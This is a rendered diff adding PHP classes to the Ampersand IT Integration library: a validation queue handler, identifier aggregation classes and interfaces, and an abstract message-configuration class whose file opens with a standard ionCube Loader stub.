$mapConfig->setNodeToMap($handlerConfig->getType());
|
59 |
+
|
60 |
+
return $mapConfig;
|
61 |
+
}
|
62 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Validate.php
ADDED
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_Validate extends Ampersand_Integration_HandlerQueue_Handler_Abstract
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* Passes the input data structure to a validator and returns that validator's output data
|
20 |
+
* structure
|
21 |
+
*
|
22 |
+
* @param mixed $input The data structure to pass to the validator
|
23 |
+
* @return mixed The data structure which the validator outputted
|
24 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
25 |
+
*/
|
26 |
+
protected function _handle($input)
|
27 |
+
{
|
28 |
+
$type = $this->getConfig()->getType();
|
29 |
+
$validator = $this->_queueConfig->getValidatorProvider()->getObject($type);
|
30 |
+
|
31 |
+
$validator->getConfig()->addData($this->getConfig()->getData());
|
32 |
+
|
33 |
+
return $validator->validate($input);
|
34 |
+
}
|
35 |
+
}
|
lib/Ampersand/Integration/Identifier.php
ADDED
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Identifier extends Ampersand_Integration_Identifier_IdentifierAbstract
|
3 |
+
implements Ampersand_Integration_Identifier_IdentifierInterface
|
4 |
+
{
|
5 |
+
protected $_parent;
|
6 |
+
|
7 |
+
public function setParent(Ampersand_Integration_Identifier_IdentifierInterface $parent)
|
8 |
+
{
|
9 |
+
$this->_parent = $parent;
|
10 |
+
|
11 |
+
return $this;
|
12 |
+
}
|
13 |
+
|
14 |
+
public function getParent()
|
15 |
+
{
|
16 |
+
return $this->_parent;
|
17 |
+
}
|
18 |
+
|
19 |
+
public function setType($type)
|
20 |
+
{
|
21 |
+
$this->setData('type', $type);
|
22 |
+
|
23 |
+
return $this;
|
24 |
+
}
|
25 |
+
|
26 |
+
public function getType()
|
27 |
+
{
|
28 |
+
return $this->getData('type');
|
29 |
+
}
|
30 |
+
|
31 |
+
public function setName($name)
|
32 |
+
{
|
33 |
+
$this->setData('name', $name);
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
|
38 |
+
public function getName()
|
39 |
+
{
|
40 |
+
return $this->getData('name');
|
41 |
+
}
|
42 |
+
|
43 |
+
public function setValue($value)
|
44 |
+
{
|
45 |
+
$this->setData('value', $value);
|
46 |
+
|
47 |
+
return $this;
|
48 |
+
}
|
49 |
+
|
50 |
+
public function getValue()
|
51 |
+
{
|
52 |
+
return $this->getData('value');
|
53 |
+
}
|
54 |
+
|
55 |
+
public function addIdentifier(Ampersand_Integration_Identifier_IdentifierInterface $identifier)
|
56 |
+
{
|
57 |
+
$identifier->setParent($this);
|
58 |
+
parent::addIdentifier($identifier);
|
59 |
+
|
60 |
+
return $this;
|
61 |
+
}
|
62 |
+
}
|
lib/Ampersand/Integration/Identifier/AggregatorAbstract.php
ADDED
@@ -0,0 +1,49 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
abstract class Ampersand_Integration_Identifier_AggregatorAbstract extends Ampersand_Object
|
3 |
+
{
|
4 |
+
protected $_identifiers = array();
|
5 |
+
protected $_identifiersByType = array();
|
6 |
+
|
7 |
+
public function addIdentifier(Ampersand_Integration_Identifier_IdentifierInterface $identifier)
|
8 |
+
{
|
9 |
+
$type = $identifier->getType();
|
10 |
+
$name = $identifier->getName();
|
11 |
+
|
12 |
+
if (!$type || !$this->hasIdentifier($name, $type)) {
|
13 |
+
$this->_identifiers[] = $identifier;
|
14 |
+
$this->_identifiersByType[$type][$name] = $identifier;
|
15 |
+
} else {
|
16 |
+
$this->getIdentifier($name, $type)->addData($identifier->getData());
|
17 |
+
}
|
18 |
+
|
19 |
+
return $this;
|
20 |
+
}
|
21 |
+
|
22 |
+
public function getIdentifiers()
|
23 |
+
{
|
24 |
+
return $this->_identifiers;
|
25 |
+
}
|
26 |
+
|
27 |
+
public function getIdentifier($name, $type = null, $createIfNotExists = false)
|
28 |
+
{
|
29 |
+
if (!$this->hasIdentifier($name, $type)) {
|
30 |
+
if (!$createIfNotExists) {
|
31 |
+
return null;
|
32 |
+
}
|
33 |
+
|
34 |
+
$identifierClass = get_class($this);
|
35 |
+
$identifier = new $identifierClass;
|
36 |
+
$identifier->setName($name);
|
37 |
+
$identifier->setType($type);
|
38 |
+
|
39 |
+
$this->addIdentifier($identifier);
|
40 |
+
}
|
41 |
+
|
42 |
+
return $this->_identifiersByType[$type][$name];
|
43 |
+
}
|
44 |
+
|
45 |
+
public function hasIdentifier($name, $type = null)
|
46 |
+
{
|
47 |
+
return isset($this->_identifiersByType[$type][$name]);
|
48 |
+
}
|
49 |
+
}
|
lib/Ampersand/Integration/Identifier/AggregatorInterface.php
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_Identifier_AggregatorInterface
|
3 |
+
{
|
4 |
+
public function addIdentifier(Ampersand_Integration_Identifier_IdentifierInterface $identifier);
|
5 |
+
|
6 |
+
public function getIdentifiers();
|
7 |
+
|
8 |
+
public function getIdentifier($name, $type = null, $createIfNotExists = false);
|
9 |
+
|
10 |
+
public function hasIdentifier($name, $type = null);
|
11 |
+
}
|
lib/Ampersand/Integration/Identifier/IdentifierAbstract.php
ADDED
@@ -0,0 +1,79 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
abstract class Ampersand_Integration_Identifier_IdentifierAbstract
|
3 |
+
extends Ampersand_Integration_Identifier_AggregatorAbstract
|
4 |
+
{
|
5 |
+
protected $_flags = array();
|
6 |
+
protected $_defaultState = Ampersand_Integration_Flag_FlagInterface::TYPE_EMPTY;
|
7 |
+
|
8 |
+
public function addFlag(Ampersand_Integration_Flag_FlagInterface $flag)
|
9 |
+
{
|
10 |
+
$this->_flags[] = $flag;
|
11 |
+
|
12 |
+
return $this;
|
13 |
+
}
|
14 |
+
|
15 |
+
public function getFlags()
|
16 |
+
{
|
17 |
+
return $this->_flags;
|
18 |
+
}
|
19 |
+
|
20 |
+
public function setState($state)
|
21 |
+
{
|
22 |
+
return $this->setData('state', $state);
|
23 |
+
}
|
24 |
+
|
25 |
+
public function getState()
|
26 |
+
{
|
27 |
+
if ($this->hasData('state')) {
|
28 |
+
return $this->getData('state');
|
29 |
+
}
|
30 |
+
|
31 |
+
return $this->_getState();
|
32 |
+
}
|
33 |
+
|
34 |
+
protected function _getState()
|
35 |
+
{
|
36 |
+
$maxPriority = -1;
|
37 |
+
$mostImportantType = null;
|
38 |
+
|
39 |
+
foreach ($this->getFlags() as $_flag) {
|
40 |
+
$_type = $_flag->getType();
|
41 |
+
$_priority = $_flag->getPriority();
|
42 |
+
if ($_priority > $maxPriority) {
|
43 |
+
$mostImportantType = $_type;
|
44 |
+
$maxPriority = $_priority;
|
45 |
+
}
|
46 |
+
}
|
47 |
+
|
48 |
+
foreach ($this->getIdentifiers() as $_identifier) {
|
49 |
+
$_type = $_identifier->getState();
|
50 |
+
$_priority = Ampersand_Integration_Flag::getPriorityByType($_type);
|
51 |
+
if ($_priority > $maxPriority) {
|
52 |
+
$mostImportantType = $_type;
|
53 |
+
$maxPriority = $_priority;
|
54 |
+
}
|
55 |
+
}
|
56 |
+
|
57 |
+
if (!$mostImportantType) {
|
58 |
+
return $this->getDefaultState();
|
59 |
+
}
|
60 |
+
|
61 |
+
return $mostImportantType;
|
62 |
+
}
|
63 |
+
|
64 |
+
public function getDefaultState()
|
65 |
+
{
|
66 |
+
if ($this->hasData('default_state')) {
|
67 |
+
return $this->getData('default_state');
|
68 |
+
}
|
69 |
+
|
70 |
+
return $this->_defaultState;
|
71 |
+
}
|
72 |
+
|
73 |
+
public function setDefaultState($state)
|
74 |
+
{
|
75 |
+
$this->setData('default_state', $state);
|
76 |
+
|
77 |
+
return $this;
|
78 |
+
}
|
79 |
+
}
|
lib/Ampersand/Integration/Identifier/IdentifierInterface.php
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_Identifier_IdentifierInterface
|
3 |
+
extends Ampersand_Integration_Identifier_AggregatorInterface,
|
4 |
+
Ampersand_Integration_Flag_AggregatorInterface
|
5 |
+
{
|
6 |
+
public function setParent(Ampersand_Integration_Identifier_IdentifierInterface $parent);
|
7 |
+
|
8 |
+
public function getParent();
|
9 |
+
|
10 |
+
public function setType($type);
|
11 |
+
|
12 |
+
public function getType();
|
13 |
+
|
14 |
+
public function setName($name);
|
15 |
+
|
16 |
+
public function getName();
|
17 |
+
|
18 |
+
public function setValue($value);
|
19 |
+
|
20 |
+
public function getValue();
|
21 |
+
|
22 |
+
public function getData($key = '', $index = null);
|
23 |
+
|
24 |
+
public function setData($key, $value = null);
|
25 |
+
|
26 |
+
public function addData(array $data);
|
27 |
+
}
|
lib/Ampersand/Integration/Message/Abstract.php
ADDED
@@ -0,0 +1,101 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php //003ab
|
2 |
+
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');@dl($__ln);if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);
|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* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Message_Config_Abstract extends Ampersand_Object
|
19 |
+
{
|
20 |
+
protected $_messageMapConfig = array();
|
21 |
+
protected $_typeMapConfigs = array();
|
22 |
+
protected $_xmlNamespace;
|
23 |
+
protected $_transportProvider;
|
24 |
+
protected $_transport;
|
25 |
+
protected $_filterProvider;
|
26 |
+
protected $_validatorProvider;
|
27 |
+
protected $_obfuscatorProvider;
|
28 |
+
protected $_loggerProvider;
|
29 |
+
protected $_loggers = array();
|
30 |
+
|
31 |
+
private $_licenseData;
|
32 |
+
|
33 |
+
/**
|
34 |
+
* Applies the input data structure of a message to this configuration. Used when the message
|
35 |
+
* configuration contains values which are dependent on the input data structure
|
36 |
+
*
|
37 |
+
* @param mixed $input
|
38 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
39 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
40 |
+
*/
|
41 |
+
public final function applyInput($input)
|
42 |
+
{
|
43 |
+
$mapConfig = $this->getMessageMapConfig();
|
44 |
+
|
45 |
+
$map = $mapConfig->getNodeInstanceToMap()->applyExtends($mapConfig);
|
46 |
+
|
47 |
+
$this->_licenseData = array(
|
48 |
+
'direction' => $this->_getDefaultMessageMapConfigKey(),
|
49 |
+
'message' => $map->getName(),
|
50 |
+
'hash' => sha1($map->asFormattedXml(0)),
|
51 |
+
);
|
52 |
+
|
53 |
+
$mapped = $map->map($mapConfig, $input)->getOutput();
|
54 |
+
$data = Ampersand_Render::renderArray($mapped);
|
55 |
+
$dataObject = new Ampersand_Object($data);
|
56 |
+
$this->_applyMappedConfig($dataObject);
|
57 |
+
$this->setDataUsingMethod($dataObject->getData());
|
58 |
+
|
59 |
+
$this->_licenseData['integration_id'] = $dataObject->getIdentifierId();
|
60 |
+
|
61 |
+
return $this;
|
62 |
+
}
|
63 |
+
|
64 |
+
public final function getLicenseData()
|
65 |
+
{
|
66 |
+
return $this->_licenseData;
|
67 |
+
}
|
68 |
+
|
69 |
+
/**
|
70 |
+
* Gets the map configuration which will be used to map the message XML configuration
|
71 |
+
*
|
72 |
+
* @param string $key OPTIONAL There are generally multiple message configurations -- e.g.
|
73 |
+
* one for incoming data, one for outgoing data -- each will have its own map configuration.
|
74 |
+
* This param is used to determine which configuration to return
|
75 |
+
* @return Ampersand_Map_Config
|
76 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
77 |
+
*/
|
78 |
+
public function getMessageMapConfig($key = null)
|
79 |
+
{
|
80 |
+
if (is_null($key)) {
|
81 |
+
$key = $this->_getDefaultMessageMapConfigKey();
|
82 |
+
}
|
83 |
+
|
84 |
+
if (!array_key_exists($key, $this->_messageMapConfig)) {
|
85 |
+
$this->_messageMapConfig[$key] = $this->_getNewMessageMapConfigInstance();
|
86 |
+
}
|
87 |
+
|
88 |
+
return $this->_messageMapConfig[$key];
|
89 |
+
}
|
90 |
+
|
91 |
+
/**
|
92 |
+
* Gets the map configuration which will be used to map 'types'
|
93 |
+
*
|
94 |
+
* @param string $key There are generally multiple type configurations -- e.g. one for incoming
|
95 |
+
* data, one for outgoing data -- each will have its own map configuration. This param is used
|
96 |
+
* to determine which configuration to return
|
97 |
+
* @return Ampersand_Map_Config
|
98 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
99 |
+
*/
|
100 |
+
public function getTypeMapConfig($key)
|
101 |
+
{
|
102 |
+
if (!array_key_exists($key, $this->_typeMapConfigs)) {
|
103 |
+
$this->_typeMapConfigs[$key] = $this->_getNewTypeMapConfigInstance();
|
104 |
+
}
|
105 |
+
|
106 |
+
return $this->_typeMapConfigs[$key];
|
107 |
+
}
|
108 |
+
|
109 |
+
/**
|
110 |
+
* Gets the map configuration used to map 'types' and prepares it to be used by the Map package
|
111 |
+
*
|
112 |
+
* @param string $key There are generally multiple type configurations -- e.g. one for incoming
|
113 |
+
* data, one for outgoing data -- each will have its own map configuration. This param is used
|
114 |
+
* to determine which configuration to return
|
115 |
+
* @param string $typeToMap OPTIONAL The type which we are going to map. Must be present in the
|
116 |
+
* types XML mapping
|
117 |
+
* @return Ampersand_Map_Config
|
118 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
119 |
+
*/
|
120 |
+
public function getPreparedTypeMapConfig($key, $typeToMap = null)
|
121 |
+
{
|
122 |
+
return $this->_prepareTypeMapConfig($this->getTypeMapConfig($key), $typeToMap);
|
123 |
+
}
|
124 |
+
|
125 |
+
/**
|
126 |
+
* Prepares a 'types' map configuration to be used by the Map package
|
127 |
+
*
|
128 |
+
* @param Ampersand_Map_Config $typeMapConfig The map configuration to prepare
|
129 |
+
* @param string $contentType OPTIONAL The type which we are going to map. Must be present in
|
130 |
+
* the types XML mapping
|
131 |
+
* @return Ampersand_Map_Config
|
132 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
133 |
+
*/
|
134 |
+
public function _prepareTypeMapConfig(Ampersand_Map_Config $typeMapConfig, $contentType = null)
|
135 |
+
{
|
136 |
+
if ($contentType) {
|
137 |
+
$typeMapConfig->setNodeToMap($contentType);
|
138 |
+
}
|
139 |
+
|
140 |
+
if ($identifierStates = $this->getIdentifiers()) {
|
141 |
+
foreach ($identifierStates as $_identifier => $_state) {
|
142 |
+
if (!$_state) {
|
143 |
+
$_state = Ampersand_Map_Config::IDENTIFIER_ENABLED;
|
144 |
+
}
|
145 |
+
|
146 |
+
$typeMapConfig->identifierState($_identifier, $_state);
|
147 |
+
}
|
148 |
+
}
|
149 |
+
|
150 |
+
return $typeMapConfig;
|
151 |
+
}
|
152 |
+
|
153 |
+
/**
|
154 |
+
* Returns a new map configuration instance to be used to map message XML configurations
|
155 |
+
*
|
156 |
+
* @return Ampersand_Map_Config
|
157 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
158 |
+
*/
|
159 |
+
protected function _getNewMessageMapConfigInstance()
|
160 |
+
{
|
161 |
+
return new Ampersand_Map_Config();
|
162 |
+
}
|
163 |
+
|
164 |
+
/**
|
165 |
+
* Returns a new map configuration instance to be used to map types
|
166 |
+
*
|
167 |
+
* @return Ampersand_Map_Config
|
168 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
169 |
+
*/
|
170 |
+
protected function _getNewTypeMapConfigInstance()
|
171 |
+
{
|
172 |
+
return new Ampersand_Map_Config();
|
173 |
+
}
|
174 |
+
|
175 |
+
/**
|
176 |
+
* Sets the namespace to use when selecting nodes from the messages and types XML mappings. This
|
177 |
+
* is helpful when XML mappings are large and contain messages and types relating to various
|
178 |
+
* services
|
179 |
+
*
|
180 |
+
* @param string $xmlNamespace
|
181 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
182 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
183 |
+
*/
|
184 |
+
public function setXmlNamespace($xmlNamespace)
|
185 |
+
{
|
186 |
+
$this->_xmlNamespace = $xmlNamespace;
|
187 |
+
|
188 |
+
return $this;
|
189 |
+
}
|
190 |
+
|
191 |
+
/**
|
192 |
+
* Returns the namespace to be used when selecting nodes from the messages and types XML
|
193 |
+
* mappings. This is helpful when XML mappings are large and contain messages and types relating
|
194 |
+
* to various services
|
195 |
+
*
|
196 |
+
* @return mixed
|
197 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
198 |
+
*/
|
199 |
+
public function getXmlNamespace()
|
200 |
+
{
|
201 |
+
return $this->_xmlNamespace;
|
202 |
+
}
|
203 |
+
|
204 |
+
/**
|
205 |
+
* Sets the transport instance to use when delivering or capturing the message
|
206 |
+
*
|
207 |
+
* @param Ampersand_Integration_Transport_Interface $transport
|
208 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
209 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
210 |
+
*/
|
211 |
+
public function setTransport(Ampersand_Integration_Transport_Interface $transport)
|
212 |
+
{
|
213 |
+
$this->_transport = $transport;
|
214 |
+
|
215 |
+
return $this;
|
216 |
+
}
|
217 |
+
|
218 |
+
/**
|
219 |
+
* Gets the transport instance to use when delivering or capturing the message
|
220 |
+
*
|
221 |
+
* @return Ampersand_Integration_Transport_Interface
|
222 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
223 |
+
*/
|
224 |
+
public function getTransport()
|
225 |
+
{
|
226 |
+
return $this->_transport;
|
227 |
+
}
|
228 |
+
|
229 |
+
/**
|
230 |
+
* Configures the transport instance which is stored against this configuration
|
231 |
+
*
|
232 |
+
* @param Ampersand_Object $config The configuration object to use to configure the transport
|
233 |
+
* instance
|
234 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
235 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
236 |
+
*/
|
237 |
+
protected function _applyTransportConfig(Ampersand_Object $config)
|
238 |
+
{
|
239 |
+
$transportConfig = $this->_getTransportConfig($config);
|
240 |
+
|
241 |
+
if (is_null($this->_transport)) {
|
242 |
+
$this->_transport = $this->_getNewTransportInstance($transportConfig);
|
243 |
+
}
|
244 |
+
|
245 |
+
$this->_transport = $this->_applyConfigToTransport($transportConfig, $this->_transport);
|
246 |
+
|
247 |
+
return $this;
|
248 |
+
}
|
249 |
+
|
250 |
+
/**
|
251 |
+
* Extracts a transport configuration from a broader configuration object
|
252 |
+
*
|
253 |
+
* @param Ampersand_Object $config
|
254 |
+
* @return Ampersand_Object
|
255 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
256 |
+
*/
|
257 |
+
protected function _getTransportConfig(Ampersand_Object $config)
|
258 |
+
{
|
259 |
+
$transportConfigData = $config->getDataUnset('transport');
|
260 |
+
$transportConfigData = $this->_getArrayOrFault(
|
261 |
+
$transportConfigData, 'Invalid transport configuration'
|
262 |
+
);
|
263 |
+
|
264 |
+
return new Ampersand_Object($transportConfigData);
|
265 |
+
}
|
266 |
+
|
267 |
+
/**
|
268 |
+
* Gets a new transport instance based on a passed configuration
|
269 |
+
*
|
270 |
+
* @param Ampersand_Object $transportConfig
|
271 |
+
* @return Ampersand_Integration_Transport_Interface
|
272 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
273 |
+
*/
|
274 |
+
protected function _getNewTransportInstance(Ampersand_Object $transportConfig)
|
275 |
+
{
|
276 |
+
return $this->getTransportProvider()->getObject($transportConfig->getData('type'));
|
277 |
+
}
|
278 |
+
|
279 |
+
/**
|
280 |
+
* Applies a configuration object to a transport instance
|
281 |
+
*
|
282 |
+
* @param Ampersand_Object $transportConfig
|
283 |
+
* @param Ampersand_Integration_Transport_Interface $transport
|
284 |
+
* @return Ampersand_Integration_Transport_Interface
|
285 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
286 |
+
*/
|
287 |
+
protected function _applyConfigToTransport(Ampersand_Object $transportConfig,
|
288 |
+
Ampersand_Integration_Transport_Interface $transport
|
289 |
+
) {
|
290 |
+
$transport->getConfig()->addData($transportConfig->getDataSetDefault('config', array()));
|
291 |
+
|
292 |
+
return $transport;
|
293 |
+
}
|
294 |
+
|
295 |
+
/**
|
296 |
+
* Sets the object which will provide us with transport objects
|
297 |
+
*
|
298 |
+
* @param Ampersand_ClassProvider $provider
|
299 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
300 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
301 |
+
*/
|
302 |
+
public function setTransportProvider(Ampersand_ClassProvider $provider)
|
303 |
+
{
|
304 |
+
$this->_transportProvider = $provider;
|
305 |
+
|
306 |
+
return $this;
|
307 |
+
}
|
308 |
+
|
309 |
+
/**
|
310 |
+
* Sets the object which will provide us with filter objects
|
311 |
+
*
|
312 |
+
* @param Ampersand_ClassProvider $provider
|
313 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
314 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
315 |
+
*/
|
316 |
+
public function setFilterProvider(Ampersand_ClassProvider $provider)
|
317 |
+
{
|
318 |
+
$this->_filterProvider = $provider;
|
319 |
+
|
320 |
+
return $this;
|
321 |
+
}
|
322 |
+
|
323 |
+
/**
|
324 |
+
* Gets the object which will provide us with filter objects
|
325 |
+
*
|
326 |
+
* @return Ampersand_ClassProvider
|
327 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
328 |
+
*/
|
329 |
+
public function getFilterProvider()
|
330 |
+
{
|
331 |
+
if (is_null($this->_filterProvider)) {
|
332 |
+
$this->_filterProvider = new Ampersand_Integration_Message_Filter_Provider();
|
333 |
+
}
|
334 |
+
|
335 |
+
return $this->_filterProvider;
|
336 |
+
}
|
337 |
+
|
338 |
+
/**
|
339 |
+
* Sets the object which will provide us with validator objects
|
340 |
+
*
|
341 |
+
* @param Ampersand_ClassProvider $provider
|
342 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
343 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
344 |
+
*/
|
345 |
+
public function setValidatorProvider(Ampersand_ClassProvider $provider)
|
346 |
+
{
|
347 |
+
$this->_validatorProvider = $provider;
|
348 |
+
|
349 |
+
return $this;
|
350 |
+
}
|
351 |
+
|
352 |
+
/**
|
353 |
+
* Gets the object which will provide us with validator objects
|
354 |
+
*
|
355 |
+
* @return Ampersand_ClassProvider
|
356 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
357 |
+
*/
|
358 |
+
public function getValidatorProvider()
|
359 |
+
{
|
360 |
+
if (is_null($this->_validatorProvider)) {
|
361 |
+
$this->_validatorProvider = new Ampersand_Validator_Provider();
|
362 |
+
}
|
363 |
+
|
364 |
+
return $this->_validatorProvider;
|
365 |
+
}
|
366 |
+
|
367 |
+
/**
|
368 |
+
* Sets the object which will provide us with obfuscator objects
|
369 |
+
*
|
370 |
+
* @param Ampersand_ClassProvider $provider
|
371 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
372 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
373 |
+
*/
|
374 |
+
public function setObfuscatorProvider(Ampersand_ClassProvider $provider)
|
375 |
+
{
|
376 |
+
$this->_obfuscatorProvider = $provider;
|
377 |
+
|
378 |
+
return $this;
|
379 |
+
}
|
380 |
+
|
381 |
+
/**
|
382 |
+
* Gets the object which will provide us with obfuscator objects
|
383 |
+
*
|
384 |
+
* @return Ampersand_ClassProvider
|
385 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
386 |
+
*/
|
387 |
+
public function getObfuscatorProvider()
|
388 |
+
{
|
389 |
+
if (is_null($this->_obfuscatorProvider)) {
|
390 |
+
$this->_obfuscatorProvider = new Ampersand_Integration_Message_Obfuscator_Provider();
|
391 |
+
}
|
392 |
+
|
393 |
+
return $this->_obfuscatorProvider;
|
394 |
+
}
|
395 |
+
|
396 |
+
/**
|
397 |
+
* Sets the object which will provide us with logger objects
|
398 |
+
*
|
399 |
+
* @param Ampersand_ClassProvider $provider
|
400 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
401 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
402 |
+
*/
|
403 |
+
public function setLoggerProvider(Ampersand_ClassProvider $provider)
|
404 |
+
{
|
405 |
+
$this->_loggerProvider = $provider;
|
406 |
+
|
407 |
+
return $this;
|
408 |
+
}
|
409 |
+
|
410 |
+
/**
|
411 |
+
* Gets the object which will provide us with logger objects
|
412 |
+
*
|
413 |
+
* @return Ampersand_ClassProvider
|
414 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
415 |
+
*/
|
416 |
+
public function getLoggerProvider()
|
417 |
+
{
|
